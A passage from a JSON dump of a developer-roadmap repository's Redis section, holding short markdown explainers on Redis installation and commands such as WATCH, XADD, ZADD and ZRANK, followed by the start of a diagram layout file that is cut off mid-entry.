    "path": "src/data/roadmaps/redis/content/usecases@VvOQUO22ZF8VvDSqHENNU.md",
    "content": "# Usecases"
  },
  {
    "path": "src/data/roadmaps/redis/content/usecases@XPeCvikPuu6EJ8UcOLGPh.md",
    "content": "# Usecases"
  },
  {
    "path": "src/data/roadmaps/redis/content/usecases@XTwNCCtzXvZMdaex4gZEh.md",
    "content": "# Usecases"
  },
  {
    "path": "src/data/roadmaps/redis/content/usecases@jtVnUD-na-WffMaS8qYfu.md",
    "content": "# Usecases"
  },
  {
    "path": "src/data/roadmaps/redis/content/usecases@kF_nGo845XDwLkwcQt008.md",
    "content": "# Usecases"
  },
  {
    "path": "src/data/roadmaps/redis/content/usecases@lxevY15ZyP43s_JrEqMX7.md",
    "content": "# Usecases"
  },
  {
    "path": "src/data/roadmaps/redis/content/usecases@s7PEr-5TAm5EGJm0RSjPJ.md",
    "content": "# Usecases"
  },
  {
    "path": "src/data/roadmaps/redis/content/usecases@zXlSBfa-Gi9_GhSYEzre3.md",
    "content": "# Usecases"
  },
  {
    "path": "src/data/roadmaps/redis/content/using-docker@TDxv0q7jlZ26uZYYlneem.md",
    "content": "# Using Docker\n\nRedis Community Edition can be installed on Docker but it is recommended to complete the installation of Redis Stack in order to gain access to the modeling capabilities, be able to seach and query data, as well as using Redis as a vector database.\n\nLearn more from the following resources:\n\n- [@official@How can I install Redis on Docker?](https://redis.io/kb/doc/1hcec8xg9w/how-can-i-install-redis-on-docker)\n- [@official@redis/redis-stack-server](https://hub.docker.com/r/redis/redis-stack-server)"
  },
  {
    "path": "src/data/roadmaps/redis/content/using-package-managers@Bf_kLfmy7_uflqC9N0-jt.md",
    "content": "# Using Package Managers\n\nRedis can be installed on Linux, MacOS and WSL2 via the platform specific package managers such as yum, apt and brew.\n\nLearn more from the following resources:\n\n- [@official@Install via apt](https://redis.io/docs/latest/operate/oss_and_stack/install/install-stack/linux/)\n- [@official@Install via brew](https://redis.io/docs/latest/operate/oss_and_stack/install/install-redis/install-redis-on-mac-os/)\n- [@official@Install on WSL2](https://redis.io/docs/latest/operate/oss_and_stack/install/install-redis/install-redis-on-windows/)"
  },
  {
    "path": "src/data/roadmaps/redis/content/watch@c-y5Eck8VtSyIf8RAW9p7.md",
    "content": "# WATCH\n\nThe WATCH command marks the given keys to be watched for conditional execution of a transaction. It's a critical component of Redis's approach to handling race conditions in multi-key transactions.\n\nLearn more from the following resources:\n\n- [@official@WATCH](https://redis.io/docs/latest/commands/watch/)"
  },
  {
    "path": "src/data/roadmaps/redis/content/what-is-redis@-3pADOHMDQ0H6ZKNjURyn.md",
    "content": "# What is Redis?\n\nRedis is an open-source, in-memory data structure store, primarily used as a database, cache, and message broker. It supports various data structures like strings, hashes, lists, sets, and sorted sets, making it highly versatile. Redis operates with extremely low latency due to its in-memory nature, enabling fast access to data. It is often used in real-time applications such as session management, leaderboards, or caching mechanisms, where quick data retrieval is critical. Additionally, Redis supports data persistence by periodically writing the dataset to disk, balancing memory speed with data reliability.\n\nVisit the following resources to learn more:\n\n- [@official@What is Redis?](https://redis.io/docs/latest/get-started/)\n- [@official@Introduction to Redis](https://redis.io/about/)\n- [@article@Redis - Wikipedia](https://en.wikipedia.org/wiki/Redis)\n- [@article@What is Redis Explained? - IBM](https://www.ibm.com/think/topics/redis)"
  },
  {
    "path": "src/data/roadmaps/redis/content/when-to-choose-redis@1Af5H0BgdAsRdBCNdHz5v.md",
    "content": "# When to choose Redis?\n\nRedis is ideal when you need a fast, in-memory data store with low latency and high throughput. It's particularly well-suited for caching, session management, real-time analytics, leaderboards, and message queues. \n\nLearn more from the following resources:\n\n- [@official@Introduction to Redis](https://redis.io/about/)\n- [@video@Why Use Redis For All Your Applications](https://www.youtube.com/watch?v=ZL4cHe3oL84)\n"
  },
  {
    "path": "src/data/roadmaps/redis/content/when-to-consider-enterprise@JlLwy69eQ1bPHAOOJNqjo.md",
    "content": "# When to consider enterprise?\n\nRedis Enterprise is typically considered when an organization requires enhanced scalability, high availability, and advanced features beyond what open-source Redis provides. It's particularly valuable for large-scale applications with demanding performance requirements, complex architectures, or mission-critical deployments.\n\nLearn more from the following resources:\n\n- [@official@About Redis Enterprise](https://redis.io/about/redis-enterprise/)\n- [@official@Redis Enterprise](https://redis.io/enterprise/)"
  },
  {
    "path": "src/data/roadmaps/redis/content/xadd@7isWhgrUA6M5IGM2U2tm4.md",
    "content": "# XADD\n\nThe XADD command used to append new entries to a stream data structure. It allows you to add one or more field-value pairs as a single entry, automatically assigning a unique ID to each new entry.\n\nLearn more from the following resources:\n\n- [@official@XADD](https://redis.io/docs/latest/commands/xadd/)"
  },
  {
    "path": "src/data/roadmaps/redis/content/xlen@DQJCMEw13lELcw_AwLfrT.md",
    "content": "# XLEN\n\nThe XLEN command used to get the length of a stream, returning the number of entries it contains. This simple yet powerful command provides a quick way to assess the size of a stream without retrieving its contents. Unlike other Redis types, zero-length streams are possible so XLEN should be used in tandem with TYPE or EXISTS.\n\nLearn more from the following resources:\n\n- [@official@XLEN](https://redis.io/docs/latest/commands/xlen/)"
  },
  {
    "path": "src/data/roadmaps/redis/content/xrange@CiYFuYE8XudZkR6AW2NQ7.md",
    "content": "# XRANGE\n\nThe XRANGE command used for retrieving messages from a stream. It allows you to query a range of messages based on their IDs, returning them in chronological order. This command is particularly useful for reading a portion of a stream's history, enabling efficient data retrieval and processing.\n\nLearn more from the following resources:\n\n- [@official@XRANGE](https://redis.io/docs/latest/commands/xrange/)"
  },
  {
    "path": "src/data/roadmaps/redis/content/xread@4sKiAtX5aIL4NDsQkilNC.md",
    "content": "# XREAD\n\nThe XREAD command reads data from one or more streams, only returning entries with an ID greater than the last received ID.\n\nLearn more from the following resources:\n\n- [@official@XREAD](https://redis.io/docs/latest/commands/xread/)"
  },
  {
    "path": "src/data/roadmaps/redis/content/zadd@0swsBD0sOY-o5lzibT999.md",
    "content": "# ZADD\n\nThe ZADD command adds all of the specified members with the specified scores to the sorted set defined at `key`.\n\nLearn more from the following resources:\n\n- [@official@ZADD](https://redis.io/docs/latest/commands/zadd/)"
  },
  {
    "path": "src/data/roadmaps/redis/content/zcount@O-fZM_U-tW0pYtNzN_8Ax.md",
    "content": "# ZCOUNT\n\nZCOUNT returns the number of elements in the sorted set at the targetted `key`, with a score between `min` and `max`.\n\nLearn more from the following resources:\n\n- [@official@ZCOUNT](https://redis.io/docs/latest/commands/zcount/)"
  },
  {
    "path": "src/data/roadmaps/redis/content/zincrby@W4v7FIQr2k-Vbm-HdfKog.md",
    "content": "# ZINCRBY\n\nZINCRBY increments the score of a member in a sorted set by the defined increment. If the member targeted does not exists in the sorted set then it will be added and will be assigned the value of the increment. If the key does not exists that ZINCRBY will created the set with the targeted member as it's only member.\n\nLearn more from the following resources:\n\n- [@official@ZINCRBY](https://redis.io/docs/latest/commands/zincrby/)"
  },
  {
    "path": "src/data/roadmaps/redis/content/zrange@3pFChX6YIItrBz9lxu4XM.md",
    "content": "# ZRANGE\n\nThe ZRANGE command can perform multiple range queries including by rank, by score or by lexiographical order. The order of elements returned are always from lowest to highest and any score ties are resolved using reverse lexiographical ordering.\n\nLearn more from the following resources:\n\n- [@official@ZRANGE](https://redis.io/docs/latest/commands/zrange/)\n"
  },
  {
    "path": "src/data/roadmaps/redis/content/zrangebyscore@OlbixGa5RmdqEt7snY04j.md",
    "content": "# ZRANGEBYSCORE\n\nThis command retrieves elements from a sorted set stored at the specified key. It returns all elements with scores falling within the given min and max range, inclusive of both boundaries. Elements are ordered from lowest to highest score. For elements sharing the same score, the command returns them in lexicographical order. This ordering is an inherent property of Redis sorted sets and requires no additional computation.\n\nLearn more from the following resources:\n\n- [@official@ZRANGEBYSCORE](https://redis.io/docs/latest/commands/zrangebyscore/)"
  },
  {
    "path": "src/data/roadmaps/redis/content/zrank@AF_kWM4V8n5Ux06IgEVTl.md",
    "content": "# ZRANK\n\nZRANK returns the rank of member in the sorted set stored at key, with the scores ordered from low to high. The rank is 0-based, which means that the member with the lowest score has rank 0. The optional WITHSCORE argument supplements the command's reply with the score of the element returned.\n\nLearn more from the following resources:\n\n- [@official@ZRANK](https://redis.io/docs/latest/commands/zrank/)"
  },
  {
    "path": "src/data/roadmaps/redis/content/zrem@m0FZDPwNE71zcwM_gUwz0.md",
    "content": "# ZREM\n\nRemoves the specified members from the sorted set stored at key. Non existing members are ignored. An error is returned when key exists and does not hold a sorted set.\n\nLearn more from the following resources:\n\n- [@official@ZREM](https://redis.io/docs/latest/commands/zrem/)"
  },
  {
    "path": "src/data/roadmaps/redis/faqs.astro",
    "content": ""
  },
  {
    "path": "src/data/roadmaps/redis/redis.json",
    "content": "{\n  \"nodes\": [\n    {\n      \"id\": \"H3njQtlasgGo0-IFiFZqL\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": -773.4644850173872,\n        \"y\": 3639.6036656653055\n      },\n      \"width\": 286,\n      \"height\": 217,\n      \"style\": {\n        \"width\": 286,\n        \"height\": 217\n      },\n      \"selected\": true,\n      \"data\": {\n        \"style\": {\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -773.4644850173872,\n        \"y\": 3639.6036656653055\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 286,\n        \"height\": 217\n      }\n    },\n    {\n      \"id\": \"jdF_BPDRWuFJpgXw7Rds0\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": -217.03386624713073,\n        \"y\": 2890.0682184225393\n      },\n      \"width\": 232,\n      \"height\": 323,\n      \"style\": {\n        \"width\": 232,\n        \"height\": 323\n      },\n      \"selected\": true,\n      \"data\": {\n        \"style\": {\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"positionAbsolute\": {\n        \"x\": -217.03386624713073,\n        \"y\": 2890.0682184225393\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 232,\n        \"height\": 323\n      }\n    },\n    {\n      \"id\": \"7ETrwXaK2xR1AoS7tTyzW\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": 66.37632224296237,\n        \"y\": 2962.163811355771\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"width\": 150,\n          \"height\": 100,\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 194,\n      \"height\": 253,\n      \"style\": {\n        \"width\": 194,\n        \"height\": 253\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 66.37632224296237,\n        \"y\": 2962.163811355771\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 194,\n        \"height\": 253\n      }\n    },\n    {\n      \"id\": \"NLTXQpEiKE6rNo3tmN-EU\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": -796.6812271795868,\n        \"y\": 3056.3469766128146\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"width\": 150,\n          \"height\": 100,\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 271,\n      \"height\": 173,\n      \"style\": {\n        \"width\": 271,\n        \"height\": 173\n      },\n      \"positionAbsolute\": {\n        \"x\": -796.6812271795868,\n        \"y\": 3056.3469766128146\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 271,\n        \"height\": 173\n      }\n    },\n    {\n      \"id\": \"7b0qKpLRQkkSzCA_x3bsP\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": -796.5040036977603,\n        \"y\": 2570.722300491497\n      },\n      \"width\": 271,\n      \"height\": 221,\n      \"style\": {\n        \"width\": 271,\n        \"height\": 221\n      },\n      \"selected\": true,\n      \"data\": {\n        \"style\": {\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"positionAbsolute\": {\n        \"x\": -796.5040036977603,\n        \"y\": 2570.722300491497\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 271,\n        \"height\": 221\n      }\n    },\n    {\n      \"id\": \"dRhBLcgWnvsKEUIEeckVM\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": -796.5040036977603,\n        \"y\": 2784.821469532407\n      },\n      \"width\": 271,\n      \"height\": 274,\n      \"style\": {\n        \"width\": 271,\n        \"height\": 274\n      },\n      \"selected\": true,\n      \"data\": {\n        \"style\": {\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"positionAbsolute\": {\n        \"x\": -796.5040036977603,\n        \"y\": 2784.821469532407\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 271,\n        \"height\": 274\n      }\n    },\n    {\n      \"id\": \"PXWvq1ezVBU5UJVN887Es\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": -540.6396884459828,\n        \"y\": 2185.0122972625486\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"width\": 150,\n          \"height\": 100,\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 204,\n      \"height\": 217,\n      \"style\": {\n        \"width\": 204,\n        \"height\": 217\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -540.6396884459828,\n        \"y\": 2185.0122972625486\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 204,\n        \"height\": 217\n      }\n    },\n    {\n      \"id\": \"Mpt_WSLngBqt131nAm3Ns\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": -270.6768116800821,\n        \"y\": 2181.7847957820186\n      },\n      \"width\": 211,\n      \"height\": 275,\n      \"style\": {\n        \"width\": 211,\n        \"height\": 275\n      },\n      \"selected\": true,\n      \"data\": {\n        \"style\": {\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"positionAbsolute\": {\n        \"x\": -270.6768116800821,\n        \"y\": 2181.7847957820186\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 211,\n        \"height\": 275\n      }\n    },\n    {\n      \"id\": \"VJosvi5KwlePkGxBzmxSH\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": 33.284146851171954,\n        \"y\": 2182.83501494524\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"width\": 150,\n          \"height\": 100,\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 209,\n      \"height\": 326,\n      \"style\": {\n        \"width\": 209,\n        \"height\": 326\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 33.284146851171954,\n        \"y\": 2182.83501494524\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 209,\n        \"height\": 326\n      }\n    },\n    {\n      \"id\": \"4fIp9_ii_gYgEMFFk__BG\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": 34.61791119802774,\n        \"y\": 1685.4421321950363\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"width\": 150,\n          \"height\": 100,\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\"\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 206,\n      \"height\": 274,\n      \"style\": {\n        \"width\": 206,\n        \"height\": 274\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 34.61791119802774,\n        \"y\": 1685.4421321950363\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 206,\n        \"height\": 274\n      }\n    },\n    {\n      \"id\": \"S16vO5EHvxaylsnFzs4Kx\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": -275.3075331630803,\n        \"y\": 1685.567787907652\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"width\": 150,\n          \"height\": 100,\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 208,\n      \"height\": 268,\n      \"style\": {\n        \"width\": 208,\n        \"height\": 268\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -275.3075331630803,\n        \"y\": 1685.567787907652\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 208,\n        \"height\": 268\n      }\n    },\n    {\n      \"id\": \"ifAV_64bREZrJkxFnf7Cy\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": -797.1336432750411,\n        \"y\": 1759.6382433656738\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"width\": 150,\n          \"height\": 100,\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 214,\n      \"height\": 265,\n      \"style\": {\n        \"width\": 214,\n        \"height\": 265\n      },\n      \"positionAbsolute\": {\n        \"x\": -797.1336432750411,\n        \"y\": 1759.6382433656738\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 214,\n        \"height\": 265\n      }\n    },\n    {\n      \"id\": \"CxiHaw63xmItCGdhpcsiz\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": -797.050798511892,\n        \"y\": 1463.6928264789822\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"width\": 150,\n          \"height\": 100,\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 214,\n      \"height\": 266,\n      \"style\": {\n        \"width\": 214,\n        \"height\": 266\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -797.050798511892,\n        \"y\": 1463.6928264789822\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 214,\n        \"height\": 266\n      }\n    },\n    {\n      \"id\": \"Kjkc8rNezN_LBD5WMrBbE\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": -244.32217668933376,\n        \"y\": 1319.6577176448873\n      },\n      \"width\": 224,\n      \"height\": 217,\n      \"style\": {\n        \"width\": 224,\n        \"height\": 217\n      },\n      \"selected\": true,\n      \"data\": {\n        \"style\": {\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"positionAbsolute\": {\n        \"x\": -244.32217668933376,\n        \"y\": 1319.6577176448873\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 224,\n        \"height\": 217\n      }\n    },\n    {\n      \"id\": \"Czv2TV_JqOuK7vumqw66I\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": -86.76785466292469,\n        \"y\": 985.5460686385047\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 128,\n      \"height\": 20,\n      \"style\": {\n        \"width\": 128,\n        \"height\": 20\n      },\n      \"resizing\": true,\n      \"positionAbsolute\": {\n        \"x\": -86.76785466292469,\n        \"y\": 985.5460686385047\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 128,\n        \"height\": 20\n      }\n    },\n    {\n      \"id\": \"JBXkEOLntmMR49axOFbA0\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": 36.126062755501266,\n        \"y\": 971.0460686385047\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"width\": 150,\n          \"height\": 100,\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 223,\n      \"height\": 375,\n      \"style\": {\n        \"width\": 223,\n        \"height\": 375\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 36.126062755501266,\n        \"y\": 971.0460686385047\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 223,\n        \"height\": 375\n      }\n    },\n    {\n      \"id\": \"gY6DBpC01GyAr-e_7FBGK\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": -106.87393724449873,\n        \"y\": 845.348933004529\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.5,\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 144,\n      \"height\": 20,\n      \"style\": {\n        \"width\": 144,\n        \"height\": 20\n      },\n      \"positionAbsolute\": {\n        \"x\": -106.87393724449873,\n        \"y\": 845.348933004529\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 144,\n        \"height\": 20\n      }\n    },\n    {\n      \"id\": \"xUioudlYG1bD0_eR0fNE3\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": 36.126062755501266,\n        \"y\": 612.577518106665\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"width\": 150,\n          \"height\": 100,\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 223,\n      \"height\": 325,\n      \"style\": {\n        \"width\": 223,\n        \"height\": 325\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 36.126062755501266,\n        \"y\": 612.577518106665\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 223,\n        \"height\": 325\n      }\n    },\n    {\n      \"id\": \"u2TdoI7ILaxYgUUni9W_w\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": -489.964883323405,\n        \"y\": 1062.001634732462\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"width\": 150,\n          \"height\": 100,\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 202,\n      \"height\": 426,\n      \"style\": {\n        \"width\": 202,\n        \"height\": 426\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -489.964883323405,\n        \"y\": 1062.001634732462\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 202,\n        \"height\": 426\n      }\n    },\n    {\n      \"id\": \"-NHxqJMM7SscP9pJ3bgD8\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": -799.0705012400213,\n        \"y\": 1065.348933004529\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"width\": 150,\n          \"height\": 100,\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 217,\n      \"height\": 368,\n      \"style\": {\n        \"width\": 217,\n        \"height\": 368\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -799.0705012400213,\n        \"y\": 1065.348933004529\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 217,\n        \"height\": 368\n      }\n    },\n    {\n      \"id\": \"Ljjl_kSEevtaBALxRh2By\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": -633.6381872719934,\n        \"y\": 620.348933004529\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"width\": 150,\n          \"height\": 100,\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\"\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 203,\n      \"height\": 317,\n      \"style\": {\n        \"width\": 203,\n        \"height\": 317\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -633.6381872719934,\n        \"y\": 620.348933004529\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 203,\n        \"height\": 317\n      }\n    },\n    {\n      \"id\": \"37hyOMnKf4H2qg27SK2rZ\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": -359.00281520804924,\n        \"y\": 541.6034591804714\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"width\": 150,\n          \"height\": 100,\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 305,\n      \"height\": 165,\n      \"style\": {\n        \"width\": 305,\n        \"height\": 165\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -359.00281520804924,\n        \"y\": 541.6034591804714\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 305,\n        \"height\": 165\n      }\n    },\n    {\n      \"id\": \"vfdrcpstewZ-lBAgCYhvs\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": -100.50281520804924,\n        \"y\": 286.4007482223489\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.5\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 86,\n      \"height\": 20,\n      \"style\": {\n        \"width\": 86,\n        \"height\": 20\n      },\n      \"positionAbsolute\": {\n        \"x\": -100.50281520804924,\n        \"y\": 286.4007482223489\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 86,\n        \"height\": 20\n      }\n    },\n    {\n      \"id\": \"80UujPXPhvKIJMSM67pwl\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": -16.012444385717174,\n        \"y\": 266.57327763985427\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"width\": 150,\n          \"height\": 100,\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 288,\n      \"height\": 213,\n      \"style\": {\n        \"width\": 288,\n        \"height\": 213\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -16.012444385717174,\n        \"y\": 266.57327763985427\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 288,\n        \"height\": 213\n      }\n    },\n    {\n      \"id\": \"zxoi09oW1HbXNwvc14w9U\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": -359.50281520804924,\n        \"y\": 264\n      },\n      \"width\": 260,\n      \"height\": 217,\n      \"style\": {\n        \"width\": 260,\n        \"height\": 217\n      },\n      \"selected\": true,\n      \"data\": {\n        \"style\": {\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"positionAbsolute\": {\n        \"x\": -359.50281520804924,\n        \"y\": 264\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 260,\n        \"height\": 217\n      }\n    },\n    {\n      \"id\": \"Qy4AHQE22xHEsBddovVt4\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": -451.1381872719935,\n        \"y\": 31\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 179,\n      \"height\": 20,\n      \"style\": {\n        \"width\": 179,\n        \"height\": 20\n      },\n      \"positionAbsolute\": {\n        \"x\": -451.1381872719935,\n        \"y\": 31\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 179,\n        \"height\": 20\n      }\n    },\n    {\n      \"id\": \"L191VgfCbX3ibSIKySpsN\",\n      